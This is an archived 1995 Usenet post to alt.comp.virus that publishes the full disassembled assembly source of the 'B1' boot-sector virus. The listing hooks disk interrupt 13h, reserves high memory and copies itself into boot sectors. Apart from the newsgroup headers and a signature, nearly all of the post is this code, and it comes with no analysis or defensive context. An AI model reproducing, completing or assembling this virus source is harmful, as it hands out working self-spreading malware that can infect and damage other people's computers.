home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / b / b1.asm / partbinary0 < prev   
Encoding:
Text File  |  1998-01-14  |  10.8 KB  |  350 lines

  1.  
  2. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
  3.  
  4. From: danishm@iia.org ()
  5.  
  6. Newsgroups: alt.comp.virus
  7.  
  8. Subject: B1
  9.  
  10. Date: 5 Feb 1995 22:05:37 GMT
  11.  
  12. Organization: International Internet Association.
  13.  
  14. Lines: 330
  15.  
  16. Message-ID: <3h3i3h$v4@ankh.iia.org>
  17.  
  18. NNTP-Posting-Host: iia.org
  19.  
  20. X-Newsreader: TIN [version 1.2 PL2]
  21.  
  22.  
  23.  
  24. Here is the B1 virus:
  25.  
  26.  
  27.  
  28.   
  29.  
  30. PAGE  59,132
  31.  
  32. ; Disassembled using sourcer  
  33.  
  34. ;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[
  35.  
  36. ;[[                                                                      [[
  37.  
  38. ;[[                             B1                                       [[
  39.  
  40. ;[[                                                                      [[
  41.  
  42. ;[[      Created:   8-Jan-95                                             [[
  43.  
  44. ;[[      Version:                                                        [[
  45.  
  46. ;[[      Code type: zero start                                           [[
  47.  
  48. ;[[      Passes:    5          Analysis Options on: none                 [[
  49.  
  50. ;[[                                                                      [[
  51.  
  52. ;[[                                                                      [[
  53.  
  54. ;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[
  55.  
  56.   
  57.  
  58. data_1e         equ     413h                    ; (0000:0413=7Fh)
  59.  
  60. data_2e         equ     46Dh                    ; (0000:046D=17E1h)
  61.  
  62. data_3e         equ     4Ch                     ; (0006:004C=0DAh)
  63.  
  64.   
  65.  
  66. seg_a           segment byte public
  67.  
  68.         assume  cs:seg_a, ds:seg_a
  69.  
  70.   
  71.  
  72.   
  73.  
  74.         org     0
  75.  
  76.   
  77.  
  78. virus           proc    far
  79.  
  80.   
  81.  
  82. start:
  83.  
  84.         jmp     short loc_2             ; (0040)
  85.  
  86.         db       90h, 00h, 4Dh, 4Dh, 49h, 00h
  87.  
  88.         db       33h, 2Eh, 33h, 00h, 02h, 01h
  89.  
  90.         db       01h, 00h, 02h,0E0h, 00h, 40h
  91.  
  92.         db       0Bh,0F0h, 09h, 00h, 12h, 00h
  93.  
  94.         db       02h, 00h
  95.  
  96.         db      19 dup (0)
  97.  
  98.         db       12h, 00h, 00h, 00h, 00h, 01h
  99.  
  100.         db       00h,0FAh, 33h,0C0h, 8Eh,0D0h
  101.  
  102.         db      0BCh, 00h, 7Ch, 16h, 07h
  103.  
  104. loc_2:
  105.  
  106.         push    cs
  107.  
  108.         call    sub_1                   ; (00EF)
  109.  
  110.         push    ax
  111.  
  112.         shr     ax,1                    ; Shift w/zeros fill
  113.  
  114.         dec     ah
  115.  
  116.         jz      loc_3                   ; Jump if zero
  117.  
  118.         jmp     loc_14                  ; (01BA)
  119.  
  120. loc_3:
  121.  
  122.         push    bx
  123.  
  124.         push    cx
  125.  
  126.         push    dx
  127.  
  128.         push    es
  129.  
  130.         push    si
  131.  
  132.         push    di
  133.  
  134.         push    ds
  135.  
  136.         push    bp
  137.  
  138.         mov     bp,sp
  139.  
  140.         or      ch,ch                   ; Zero ?
  141.  
  142.         jnz     loc_5                   ; Jump if not zero
  143.  
  144.         shl     al,1                    ; Shift w/zeros fill
  145.  
  146.         jc      loc_4                   ; Jump if carry Set
  147.  
  148.         call    sub_6                   ; (0190)
  149.  
  150.         call    sub_4                   ; (017B)
  151.  
  152.         jc      loc_7                   ; Jump if carry Set
  153.  
  154.         call    sub_2                   ; (0127)
  155.  
  156.         jz      loc_4                   ; Jump if zero
  157.  
  158.         call    sub_6                   ; (0190)
  159.  
  160.         call    sub_3                   ; (013B)
  161.  
  162.         jz      loc_5                   ; Jump if zero
  163.  
  164.         inc     ah
  165.  
  166.         call    sub_4                   ; (017B)
  167.  
  168.         jc      loc_5                   ; Jump if carry Set
  169.  
  170.         call    sub_5                   ; (0182)
  171.  
  172.         call    sub_6                   ; (0190)
  173.  
  174.         inc     ah
  175.  
  176.         call    sub_4                   ; (017B)
  177.  
  178. loc_4:
  179.  
  180.         call    sub_7                   ; (019E)
  181.  
  182.         or      ch,dh
  183.  
  184.         dec     cx
  185.  
  186.         jnz     loc_5                   ; Jump if not zero
  187.  
  188.         call    sub_6                   ; (0190)
  189.  
  190.         call    sub_4                   ; (017B)
  191.  
  192.         jc      loc_7                   ; Jump if carry Set
  193.  
  194.         call    sub_2                   ; (0127)
  195.  
  196.         jnz     loc_5                   ; Jump if not zero
  197.  
  198.         call    sub_7                   ; (019E)
  199.  
  200.         call    sub_3                   ; (013B)
  201.  
  202.         dec     byte ptr [bp+10h]
  203.  
  204.         jz      loc_6                   ; Jump if zero
  205.  
  206.         mov     al,1
  207.  
  208.         call    sub_4                   ; (017B)
  209.  
  210.         jc      loc_7                   ; Jump if carry Set
  211.  
  212.         call    sub_7                   ; (019E)
  213.  
  214.         add     bx,di
  215.  
  216.         inc     cl
  217.  
  218.         jmp     short loc_6             ; (00BA)
  219.  
  220. loc_5:
  221.  
  222.         call    sub_7                   ; (019E)
  223.  
  224. loc_6:
  225.  
  226.         call    sub_4                   ; (017B)
  227.  
  228. loc_7:
  229.  
  230.         pushf                           ; Push flags
  231.  
  232.         pop     bx
  233.  
  234.         mov     [bp+16h],bx
  235.  
  236.         xchg    ax,[bp+10h]
  237.  
  238.         shr     ah,1                    ; Shift w/zeros fill
  239.  
  240.         jnc     loc_9                   ; Jump if carry=0
  241.  
  242.         xor     ax,ax                   ; Zero register
  243.  
  244.         mov     ds,ax
  245.  
  246.         mov     ax,ds:data_2e           ; (0000:046D=17E1h)
  247.  
  248.         and     ax,178Fh
  249.  
  250.         jnz     loc_9                   ; Jump if not zero
  251.  
  252.         call    sub_6                   ; (0190)
  253.  
  254. loc_8:
  255.  
  256.         push    ax
  257.  
  258.         call    sub_4                   ; (017B)
  259.  
  260.         xor     cx,0FFC0h
  261.  
  262.         nop                             ;*ASM fixup - sign extn byte
  263.  
  264.         shl     ax,1                    ; Shift w/zeros fill
  265.  
  266.         pop     ax
  267.  
  268.         jnc     loc_8                   ; Jump if carry=0
  269.  
  270. loc_9:
  271.  
  272.         pop     bp
  273.  
  274.         pop     ds
  275.  
  276.         pop     di
  277.  
  278.         pop     si
  279.  
  280.         pop     es
  281.  
  282.         pop     dx
  283.  
  284.         pop     cx
  285.  
  286.         pop     bx
  287.  
  288.         pop     ax
  289.  
  290.         iret                            ; Interrupt return
  291.  
  292.   
  293.  
  294. virus           endp
  295.  
  296.   
  297.  
  298. ;__________________________________________________________________________
  299.  
  300. ;                              SUBROUTINE
  301.  
  302. ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  303.  
  304.   
  305.  
  306. sub_1           proc    near
  307.  
  308.         mov     bx,44h
  309.  
  310.         mov     dx,80h
  311.  
  312.         mov     si,data_1e              ; (0000:0413=7Fh)
  313.  
  314.         xor     di,di                   ; Zero register
  315.  
  316.         mov     ds,di
  317.  
  318.         dec     word ptr [si]
  319.  
  320.         lodsw                           ; String [si] to ax
  321.  
  322.         pop     si
  323.  
  324.         mov     cl,6
  325.  
  326.         shl     ax,cl                   ; Shift w/zeros fill
  327.  
  328.         mov     es,ax
  329.  
  330.         sub     si,bx
  331.  
  332.         push    si
  333.  
  334.         push    ax
  335.  
  336.         mov     ax,1AEh
  337.  
  338.         push    ax
  339.  
  340.         push    cs
  341.  
  342.         push    si
  343.  
  344.         push    cs
  345.  
  346.         pop     ds
  347.  
  348.         call    sub_5                   ; (0182)
  349.  
  350.         mov     ds,cx
  351.  
  352.         mov     si,data_3e              ; (0006:004C=0DAh)
  353.  
  354.         mov     cl,2
  355.  
  356.         rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
  357.  
  358.         mov     [si-4],bx
  359.  
  360.         mov     [si-2],es
  361.  
  362.         pop     bx
  363.  
  364.         pop     es
  365.  
  366.         retf                            ; Return far
  367.  
  368. sub_1           endp
  369.  
  370.   
  371.  
  372.   
  373.  
  374. ;__________________________________________________________________________
  375.  
  376. ;                              SUBROUTINE
  377.  
  378. ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  379.  
  380.   
  381.  
  382. sub_2           proc    near
  383.  
  384.         cld                             ; Clear direction
  385.  
  386.         push    cs
  387.  
  388.         pop     ds
  389.  
  390.         xor     si,si                   ; Zero register
  391.  
  392.         mov     di,bx
  393.  
  394.         mov     cl,40h                  ; '@'
  395.  
  396.         push    si
  397.  
  398.         push    di
  399.  
  400.         add     si,cx
  401.  
  402.         add     di,cx
  403.  
  404.         repe    cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  405.  
  406.         pop     di
  407.  
  408.         pop     si
  409.  
  410.         retn
  411.  
  412. sub_2           endp
  413.  
  414.   
  415.  
  416.   
  417.  
  418. ;__________________________________________________________________________
  419.  
  420. ;                              SUBROUTINE
  421.  
  422. ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  423.  
  424.   
  425.  
  426. sub_3           proc    near
  427.  
  428.         push    ax
  429.  
  430.         xor     dh,dh                   ; Zero register
  431.  
  432.         test    dl,80h
  433.  
  434.         jz      loc_10                  ; Jump if zero
  435.  
  436.         mov     cx,11h
  437.  
  438.         jmp     short loc_11            ; (0175)
  439.  
  440. loc_10:
  441.  
  442.         mov     ax,[di+11h]
  443.  
  444.         mov     cl,4
  445.  
  446.         shr     ax,cl                   ; Shift w/zeros fill
  447.  
  448.         mov     cx,ax
  449.  
  450.         mov     ax,[di+16h]
  451.  
  452.         shl     ax,1                    ; Shift w/zeros fill
  453.  
  454.         jc      loc_12                  ; Jump if carry Set
  455.  
  456.         add     ax,cx
  457.  
  458.         jc      loc_12                  ; Jump if carry Set
  459.  
  460.         xor     cx,cx                   ; Zero register
  461.  
  462.         cmp     ah,[di+18h]
  463.  
  464.         jae     loc_12                  ; Jump if above or =
  465.  
  466.         div     byte ptr [di+18h]       ; al,ah rem = ax/data
  467.  
  468.         xchg    cl,ah
  469.  
  470.         cmp     ah,[di+1Ah]
  471.  
  472.         jae     loc_12                  ; Jump if above or =
  473.  
  474.         div     byte ptr [di+1Ah]       ; al,ah rem = ax/data
  475.  
  476.         mov     ch,al
  477.  
  478.         mov     dh,ah
  479.  
  480.         inc     cx
  481.  
  482. loc_11:
  483.  
  484.         pop     ax
  485.  
  486.         retn
  487.  
  488. loc_12:
  489.  
  490.         xor     cx,cx                   ; Zero register
  491.  
  492.         jmp     short loc_11            ; (0175)
  493.  
  494. sub_3           endp
  495.  
  496.   
  497.  
  498.   
  499.  
  500. ;__________________________________________________________________________
  501.  
  502. ;                              SUBROUTINE
  503.  
  504. ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  505.  
  506.   
  507.  
  508. sub_4           proc    near
  509.  
  510.         pushf                           ; Push flags
  511.  
  512.         call    dword ptr cs:[1BCh]     ; (7379:01BC=0D79h)
  513.  
  514.         retn
  515.  
  516. sub_4           endp
  517.  
  518.   
  519.  
  520.   
  521.  
  522. ;__________________________________________________________________________
  523.  
  524. ;                              SUBROUTINE
  525.  
  526. ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  527.  
  528.   
  529.  
  530. sub_5           proc    near
  531.  
  532.         cld                             ; Clear direction
  533.  
  534.         movsw                           ; Mov [si] to es:[di]
  535.  
  536.         mov     cx,17Ch
  537.  
  538.         add     si,3Eh
  539.  
  540.         add     di,3Eh
  541.  
  542.         rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  543.  
  544.         retn
  545.  
  546. sub_5           endp
  547.  
  548.   
  549.  
  550.   
  551.  
  552. ;__________________________________________________________________________
  553.  
  554. ;                              SUBROUTINE
  555.  
  556. ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  557.  
  558.   
  559.  
  560. sub_6           proc    near
  561.  
  562.         push    cs
  563.  
  564.         mov     ax,200h
  565.  
  566.         mov     bx,ax
  567.  
  568.         xor     cx,cx                   ; Zero register
  569.  
  570.         xor     dh,dh                   ; Zero register
  571.  
  572.         inc     cx
  573.  
  574.         inc     ax
  575.  
  576.         pop     es
  577.  
  578.         retn
  579.  
  580. sub_6           endp
  581.  
  582.   
  583.  
  584.   
  585.  
  586. ;__________________________________________________________________________
  587.  
  588. ;                              SUBROUTINE
  589.  
  590. ;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  591.  
  592.   
  593.  
  594. sub_7           proc    near
  595.  
  596.         mov     ax,[bp+10h]
  597.  
  598.         mov     bx,[bp+0Eh]
  599.  
  600.         mov     cx,[bp+0Ch]
  601.  
  602.         mov     dx,[bp+0Ah]
  603.  
  604.         mov     es,[bp+8]
  605.  
  606.         retn
  607.  
  608. sub_7           endp
  609.  
  610.   
  611.  
  612.         db      41h                     ; Inc   cx   ?
  613.  
  614. loc_13:
  615.  
  616.         mov     ax,201h
  617.  
  618.         int     13h                     ; Disk  dl=drive a  ah=func 02h
  619.  
  620.                         ;  read sectors to memory es:bx
  621.  
  622.         xor     dl,80h
  623.  
  624.         jz      loc_13                  ; Jump if zero
  625.  
  626.         retf                            ; Return far
  627.  
  628. loc_14:
  629.  
  630.         pop     ax
  631.  
  632. ;*              jmp     far ptr loc_1           ;*(000A:0D79)
  633.  
  634.         db      0EAh, 79h, 0Dh, 0Ah, 00h
  635.  
  636.         db      0Dh, 0Ah, 'Disk Boot failure', 0Dh
  637.  
  638.         db      0Ah, 0
  639.  
  640.         db      'IBMBIO  COMIBMDOS  COM'
  641.  
  642.         db      18 dup (0)
  643.  
  644.         db       55h,0AAh
  645.  
  646.   
  647.  
  648. seg_a           ends
  649.  
  650.   
  651.  
  652.   
  653.  
  654.   
  655.  
  656.         end     start
  657.  
  658.  
  659.  
  660. ls virus.asm
  661.  
  662.  
  663.  
  664.  
  665.  
  666.  
  667.  
  668. ls virus.asm
  669.  
  670.  
  671.  
  672.  
  673.  
  674.  
  675.  
  676.  
  677.  
  678.  
  679.  
  680.  
  681.  
  682.  
  683.  
  684.  
  685.  
  686. --
  687.  
  688. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  689.  
  690. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  691.  
  692. Student at the Northeatstern University College of Computer Science 
  693.  
  694. "I Can't Believe It's Not Butter"
  695.  
  696.  
  697.  
  698.